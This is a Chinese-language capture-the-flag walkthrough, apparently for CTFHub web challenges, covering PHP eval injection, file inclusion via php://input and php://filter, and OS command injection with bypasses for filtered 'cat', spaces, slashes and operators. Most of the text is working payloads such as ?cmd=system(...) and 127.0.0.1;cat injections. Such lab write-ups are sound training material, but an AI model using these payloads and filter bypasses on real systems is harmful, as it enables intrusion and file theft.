eval执行
打开关卡
意思是判断cmd是否被设置,若cmd被赋值,则执行如下语句,否则就继续显示以上代码。
我们先在url后输入
?cmd=system("ls");
查看根目录
然后输入
?cmd=system("ls /");
返回上一级
flag很显眼然后输入
?cmd=system("cat /文件名");
得到flag
文件包含
我们打开关卡
有个shell按钮,我们点击
这里使用火狐Hacker插件发现里面有个ctfhub变量,我们把shell.txt赋值给file
?file=shell.txt
再查看根目录
然后看到flag
我们输入
ctfhub=system("cat /flag");
即可得到flag
php://input
补充知识:
php://input是什么?
php:// ~ 来访问各个输入/输出流(I/O streams),php://input 是个可以访问请求的原始数据的只读流。POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。
它是PHP中一个只读的协议,使用时会将请求放在body中
简单的说php://input用于执行php代码。
首先我们看源码
然后点开phpinfo查看发现
证明是可以使用php://input
然后我们使用burp抓包,构造
方法:POST
目标:/?file=php://input
Body:<?php system("ls /"); ?>
然后用cat查看
得到flag
读取源代码
我们使用使用 php://input ,发现不成功,我们可以使用另一个
然后我们在url后添加
/?file=php://filter/resource=/flag
然后访问即可得到flag
远程包含
我们发现有strpos函数
可以使用php://input
然后我们使用burp抓包,修改
POST /?file=php://input
<?php system("ls /")?>
<?php system("cat /flag")?>
然后cat查看flag
发现flag
命令注入
进入页面后给出的源码,题目要求输入IP地址执行ping命令
我们尝试输入127.0.0.1;ls
有个文件我们用cat查看
输入
127.0.0.1;cat 272442575313345.php
ping后查看页面源代码即可得到flag
过滤cat
首先我们依然是ls查看当前目录
因为过滤掉了cat,我们使用 \ ‘’ “” {任意无意义变量名}等方法均可绕过
我们输入
127.0.0.1;c\at flag_170742479022746.php
查看页面源代码即可得到flag
过滤空格
首先我们依然是ls查看当前目录
因为空格被过滤了,我们可以使用 < 或 <> 重定向符来代替空格。
输入
127.0.0.1;cat<flag_154793093332529.php
查看页面源代码即可得到flag
过滤目录分隔符
首先我们依然是ls查看当前目录
发现这里没有后缀了,再根据题目的提示,这就是个文件,我们需要进去,但是目录分隔符被过滤了,那么 ls …/ 这种命令就不能用了,那么我们先使用反斜杠查看这个文件夹里面的东东:
127.0.0.1;ls \flag_is_here
我们用;同时执行
127.0.0.1 ; cd flag_is_here;cat flag_313792881429974.php
查看页面源码即可得到flag
过滤运算符
首先我们依然是ls查看当前目录
这里是过滤的运算符,我们用;代替&即可通关
跟上述步骤一样,然后查看页面源代码
127.0.0.1;ls
127.0.0.1;cat flag_13037231169954.php
得到falg
综合过滤练习
我们发现这道题能过滤的都过滤了
第一步应该想办法查看当前文件夹的内容,我们使用换行符的url编码 %0a,并且去要在url中修改,这里我用的hacker插件
我们需要打开falg_is_here,但是已经过滤了falg
我们可以用Tab的url编码
?ip=127.0.0.1%0als%09*_is_here
因为cat被过滤了,我们可以使用单引号的url编码%27将cat的任意字母包裹
?ip=127.0.0.1%0acd%09*is_here%0ac%27a%27t%09*_231383221418137.php
然后执行完查看页面源代码即可得到flag